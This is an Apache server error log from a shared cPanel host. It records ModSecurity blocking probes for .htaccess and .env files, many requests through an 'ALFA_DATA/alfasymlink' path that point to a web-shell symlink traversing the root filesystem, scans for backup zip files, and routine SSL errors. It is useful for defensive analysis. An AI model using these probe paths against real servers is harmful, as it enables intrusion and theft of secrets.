[Sun Oct 25 07:10:20.168993 2026] [security2:error] [pid 2815601:tid 2815601] [client 54.37.252.137:59798] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/glpi/pub_.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/glpi/pub_.htaccess"] [unique_id "at3jnMFBowqkM0cGnNCRYQAAAA8"]
[Sun Oct 25 07:10:20.169255 2026] [security2:error] [pid 2815601:tid 2815601] [client 54.37.252.137:59798] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/glpi/pub_.htaccess"] [unique_id "at3jnMFBowqkM0cGnNCRYQAAAA8"]
[Sun Oct 25 07:10:20.170170 2026] [security2:error] [pid 2815601:tid 2815601] [client 54.37.252.137:59798] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at3jnMFBowqkM0cGnNCRYQAAAA8"]
[Sun Oct 25 07:10:26.360038 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.202.233.37:34792] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:10:38.239923 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 44.210.204.255:28605] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node1/driver/unbind
[Sun Oct 25 07:10:46.310734 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.147.80.137:45490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:10:50.352897 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 44.212.106.171:59372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:10:54.192827 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.54.95.127:37859] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:10:59.927456 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 185.191.171.14:14314] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:11:10.373335 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 52.2.58.41:25087] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:04/physical_node/remove
[Sun Oct 25 07:11:14.377678 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 100.29.63.24:35123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:11:26.166289 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 3.229.164.203:44489] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/bind
[Sun Oct 25 07:11:26.166743 2026] [security2:error] [pid 2815599:tid 2815599] [client 3.229.164.203:44489] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/bind"] [unique_id "at3j3us4DYbOWQ864oPJ2gAAAAk"]
[Sun Oct 25 07:11:26.166786 2026] [security2:error] [pid 2815599:tid 2815599] [client 3.229.164.203:44489] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/bind"] [unique_id "at3j3us4DYbOWQ864oPJ2gAAAAk"]
[Sun Oct 25 07:11:30.229928 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 23.21.179.27:30590] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:11:34.327777 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 3.211.181.86:57908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:11:38.184066 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.215.49.176:1615] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:11:50.335769 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.147.238.89:16927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:11:53.974871 2026] [authz_core:error] [pid 2820367:tid 2820367] [client 20.53.239.152:2483] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:11:54.174169 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 44.212.145.46:22650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu1/driver/bind
[Sun Oct 25 07:11:56.964373 2026] [security2:error] [pid 2820367:tid 2820367] [client 20.53.239.152:2483] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-includes/js/plupload/"] [unique_id "at3j_K6y10zADJ0W8jUgMAAAAAA"]
[Sun Oct 25 07:11:56.964449 2026] [security2:error] [pid 2820367:tid 2820367] [client 20.53.239.152:2483] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-includes/js/plupload/"] [unique_id "at3j_K6y10zADJ0W8jUgMAAAAAA"]
[Sun Oct 25 07:12:02.312021 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.201.155.215:33025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:12:05.984187 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 185.191.171.15:31954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:12:06.321630 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.21.62.139:46929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:12:14.231795 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.89.90.224:56850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:12:18.269200 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 98.84.200.43:63819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:12:26.303559 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.215.77.19:39824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:12:30.209199 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 34.239.197.197:62844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:12:34.165454 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.7.13.143:19223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:13:02.191050 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.93.211.16:60523] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:13:09.830789 2026] [core:crit] [pid 2815606:tid 2815606] (13)Permission denied: [client 216.244.66.250:35152] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/grub2/' is executable
[Sun Oct 25 07:13:11.288541 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 3.210.114.189:42025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:13:13.482141 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 185.191.171.19:60916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/align
[Sun Oct 25 07:13:18.176849 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.221.227.90:52248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:13:26.176389 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 3.90.73.206:36929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:13:34.176379 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 18.211.148.239:40471] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/device:09/subsystem/drivers/button/unbind
[Sun Oct 25 07:13:34.230130 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 185.191.171.11:37378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/objects_partial
[Sun Oct 25 07:13:38.247342 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.215.77.19:43199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:13:46.193010 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 18.204.89.56:44465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:13:50.236735 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 3.213.46.222:10272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:03/physical_node/rescan
[Sun Oct 25 07:13:58.251912 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 52.45.77.169:15474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/xen-platform-pci/new_id
[Sun Oct 25 07:13:59.023102 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:54568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/dbase.zip"] [unique_id "at3kd9y-_GHm1dX7tKN3TAAAABA"]
[Sun Oct 25 07:13:59.023161 2026] [security2:error] [pid 2815602:tid 2815602] [client 45.138.12.78:54568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/dbase.zip"] [unique_id "at3kd9y-_GHm1dX7tKN3TAAAABA"]
[Sun Oct 25 07:13:59.095052 2026] [security2:error] [pid 2815608:tid 2815608] [client 45.138.12.78:55324] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/reports.zip"] [unique_id "at3kdyK0zo25roaoS0zYyAAAABY"]
[Sun Oct 25 07:13:59.095091 2026] [security2:error] [pid 2815608:tid 2815608] [client 45.138.12.78:55324] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/reports.zip"] [unique_id "at3kdyK0zo25roaoS0zYyAAAABY"]
[Sun Oct 25 07:13:59.196010 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.78:55730] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/hosting.zip"] [unique_id "at3kd72dQNaDuK1aHdomWAAAAAs"]
[Sun Oct 25 07:13:59.196052 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.78:55730] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/hosting.zip"] [unique_id "at3kd72dQNaDuK1aHdomWAAAAAs"]
[Sun Oct 25 07:13:59.272380 2026] [security2:error] [pid 2820367:tid 2820367] [client 45.138.12.78:33004] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/september.zip"] [unique_id "at3kd66y10zADJ0W8jUgbwAAAAA"]
[Sun Oct 25 07:13:59.272416 2026] [security2:error] [pid 2820367:tid 2820367] [client 45.138.12.78:33004] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/september.zip"] [unique_id "at3kd66y10zADJ0W8jUgbwAAAAA"]
[Sun Oct 25 07:13:59.680084 2026] [security2:error] [pid 2822163:tid 2822163] [client 45.138.12.78:33492] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/v1.0.zip"] [unique_id "at3kd9M5mscaDMZSsHxqbgAAAAE"]
[Sun Oct 25 07:13:59.680163 2026] [security2:error] [pid 2822163:tid 2822163] [client 45.138.12.78:33492] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag1.sherwinpinturas.com"] [uri "/v1.0.zip"] [unique_id "at3kd9M5mscaDMZSsHxqbgAAAAE"]
[Sun Oct 25 07:14:06.270096 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 54.204.12.115:64041] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:14:06.270272 2026] [security2:error] [pid 2815608:tid 2815608] [client 54.204.12.115:64041] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/subsystem/devices/PNP0B00:00/physical_node/power/wakeup_max_time_ms"] [unique_id "at3kfiK0zo25roaoS0zY-AAAABY"]
[Sun Oct 25 07:14:06.270293 2026] [security2:error] [pid 2815608:tid 2815608] [client 54.204.12.115:64041] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/subsystem/devices/PNP0B00:00/physical_node/power/wakeup_max_time_ms"] [unique_id "at3kfiK0zo25roaoS0zY-AAAABY"]
[Sun Oct 25 07:14:18.318085 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 44.193.102.198:59378] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:14:22.310270 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.212.219.113:26237] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:14:34.231852 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 35.171.141.42:23964] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:14:38.306275 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 23.21.119.232:44765] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/resource4_wc
[Sun Oct 25 07:14:38.759152 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.17:30848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/partial
[Sun Oct 25 07:14:50.202402 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.213.46.222:4796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:15:02.241217 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 3.227.180.70:19247] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:15:10.231501 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.221.105.234:40547] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:15:18.287816 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 100.28.204.82:6731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:15:30.202864 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 35.173.38.202:42750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:15:34.158681 2026] [ssl:error] [pid 2815606:tid 2815606] (5)Input/output error: [client 54.159.98.248:42067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:15:46.155561 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.216.227.216:23667] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:15:50.149645 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.213.85.234:29882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:15:54.294493 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.216.86.144:60657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:16:02.200201 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.81.253.213:42512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:16:10.215783 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 18.210.58.238:24135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:16:18.182511 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 85.208.96.205:65294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/cpu_slabs
[Sun Oct 25 07:16:30.144720 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 3.209.174.110:43224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:16:34.145730 2026] [security2:error] [pid 2815602:tid 2815602] [client 54.198.33.233:21441] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/pci-stub/"] [unique_id "at3lEty-_GHm1dX7tKN3eAAAABA"]
[Sun Oct 25 07:16:34.145772 2026] [security2:error] [pid 2815602:tid 2815602] [client 54.198.33.233:21441] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/pci-stub/"] [unique_id "at3lEty-_GHm1dX7tKN3eAAAABA"]
[Sun Oct 25 07:16:42.166268 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 23.23.137.202:55761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:16:47.452002 2026] [security2:error] [pid 2820367:tid 2820367] [client 130.12.180.176:50816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lH66y10zADJ0W8jUggAAAAAA"]
[Sun Oct 25 07:16:47.452364 2026] [security2:error] [pid 2820367:tid 2820367] [client 130.12.180.176:50816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lH66y10zADJ0W8jUggAAAAAA"]
[Sun Oct 25 07:16:47.452786 2026] [security2:error] [pid 2820367:tid 2820367] [client 130.12.180.176:50816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "casarin2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3lH66y10zADJ0W8jUggAAAAAA"]
[Sun Oct 25 07:16:54.213728 2026] [ssl:error] [pid 2815608:tid 2815608] (22)Invalid argument: [client 54.197.178.107:62635] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:16:58.152044 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.196.114.170:17968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:16:58.152327 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.196.114.170:17968] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/10/address"] [unique_id "at3lKiQ6C_qJaeV2JCrG9wAAABQ"]
[Sun Oct 25 07:16:58.152355 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.196.114.170:17968] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/subsystem/slots/10/address"] [unique_id "at3lKiQ6C_qJaeV2JCrG9wAAABQ"]
[Sun Oct 25 07:17:04.139787 2026] [security2:error] [pid 2822163:tid 2822163] [client 195.178.110.105:57746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/_next/static/"] [unique_id "at3lMNM5mscaDMZSsHxqeQAAAAE"]
[Sun Oct 25 07:17:04.139835 2026] [security2:error] [pid 2822163:tid 2822163] [client 195.178.110.105:57746] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/_next/static/"] [unique_id "at3lMNM5mscaDMZSsHxqeQAAAAE"]
[Sun Oct 25 07:17:06.142669 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.21.62.139:43284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:17:10.146457 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.203.68.145:56530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:17:16.856698 2026] [cgi:error] [pid 2806348:tid 2806348] (32)Broken pipe: [client 127.0.0.1:60320] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:17:17.984464 2026] [cgi:error] [pid 2815601:tid 2815601] (32)Broken pipe: [client 127.0.0.1:60336] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:17:18.149169 2026] [ssl:error] [pid 2815605:tid 2815605] (5)Input/output error: [client 52.200.54.136:12954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:17:18.517178 2026] [cgi:error] [pid 2815606:tid 2815606] (32)Broken pipe: [client 127.0.0.1:60342] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:17:18.984847 2026] [cgi:error] [pid 2820367:tid 2820367] (32)Broken pipe: [client 127.0.0.1:60352] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:17:21.042426 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 85.208.96.207:14732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:17:34.264276 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.236.41.241:19772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:17:37.860885 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 144.76.19.24:54520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/stack
[Sun Oct 25 07:17:39.299028 2026] [cgi:error] [pid 2815605:tid 2815605] (32)Broken pipe: [client 127.0.0.1:35390] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:17:40.128762 2026] [cgi:error] [pid 2815606:tid 2815606] (32)Broken pipe: [client 127.0.0.1:35394] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:17:40.801620 2026] [cgi:error] [pid 2820367:tid 2820367] (32)Broken pipe: [client 127.0.0.1:35402] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:17:41.719302 2026] [cgi:error] [pid 2815602:tid 2815602] (32)Broken pipe: [client 127.0.0.1:35412] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
[Sun Oct 25 07:17:50.166190 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.212.232.231:10729] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:17:54.149531 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.71.216.196:5234] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:17:56.786418 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 185.191.171.14:64106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cache_dma
[Sun Oct 25 07:17:58.144504 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 23.23.99.55:34942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:18:01.557224 2026] [cgi:error] [pid 2820367:tid 2820367] (32)Broken pipe: [client 127.0.0.1:57540] AH02651: Error writing request body to script /usr/local/cpanel/cgi-sys/autodiscover.cgi
